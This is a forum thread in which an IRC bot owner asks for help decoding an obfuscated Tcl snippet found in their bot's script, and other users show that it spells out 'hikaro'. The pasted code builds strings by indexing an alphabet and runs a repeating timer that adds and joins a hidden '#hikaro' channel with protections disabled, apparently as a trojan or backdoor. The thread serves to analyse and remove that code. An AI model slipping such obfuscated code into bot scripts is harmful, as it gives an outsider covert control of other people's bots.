$lenc , dunno what this mean & need help to translate it

[clovanzo]

Please Translate what this script means:

Code: Select all

set lenc "abcdefghijklmnopqrstuvwxyz"
set ldec "zyxwvutsrqponmlkjihgfedcba"
set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
set udec "ZYXWVUTSRQPONMLKJIHGFEDCBA"

FIRST

Code: Select all

set [string index $lenc 15][string index $lenc 18] [string index $lenc 7][string index $lenc 8][string index $lenc 10][string index $lenc 0][string index $lenc 17][string index $lenc 14]

And:
SECOND

Code: Select all

set totch "#[string index $lenc 5][string index $lenc 14][string index $lenc 17][string index $lenc 19][string index $lenc 20][string index $lenc 13][string index $lenc 0]"
proc tot_cha {} {
global totch ps uenc lenc
timer 5 tot_cha
set [string index $lenc 15][string index $lenc 18] [string index $lenc 7][string index $lenc 8][string index $lenc 10][string index $lenc 0][string index $lenc 17][string index $lenc 14]
set totch "#[string index $lenc 7][string index $lenc 8][string index $lenc 10][string index $lenc 0][string index $lenc 17][string index $lenc 14]"
if {[validchan $totch]} {
return 0
}
channel add $totch
catch { channel set $totch -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
putsrv "JOIN $totch"
}
timer 5 tot_cha

I think this is a trojan script, when i delete the second code, my bot still works fine and no more join #hikaro. But when i delete the first code, i cannot set pass / auth to the bot.

[metroid]

The first part does ps hikaro, the second part does channel add #hikaro

[clovanzo]

How to translate it?

[KrzychuG]

set [string index $lenc 15][string index $lenc 18] [string index $lenc 7][string index $lenc 8][string index $lenc 10][string index $lenc 0][string index $lenc 17][string index $lenc 14]

It tooks 16th, 19th, 8th, 9th, 11th, 1st, 18th and 15th character from $lenc string:

% set lenc "abcdefghijklmnopqrstuvwxyz"
abcdefghijklmnopqrstuvwxyz
% set ldec "zyxwvutsrqponmlkjihgfedcba"
zyxwvutsrqponmlkjihgfedcba
% set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
ABCDEFGHIJKLMNOPQRSTUVWXYZ
% set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
ABCDEFGHIJKLMNOPQRSTUVWXYZ
% set [string index $lenc 15][string index $lenc 18] [string index $lenc 7][string index $lenc 8][string index $lenc 10][string index $lenc 0][string index $lenc 17][string index $lenc 14]
hikaro

Similiar with second quote :)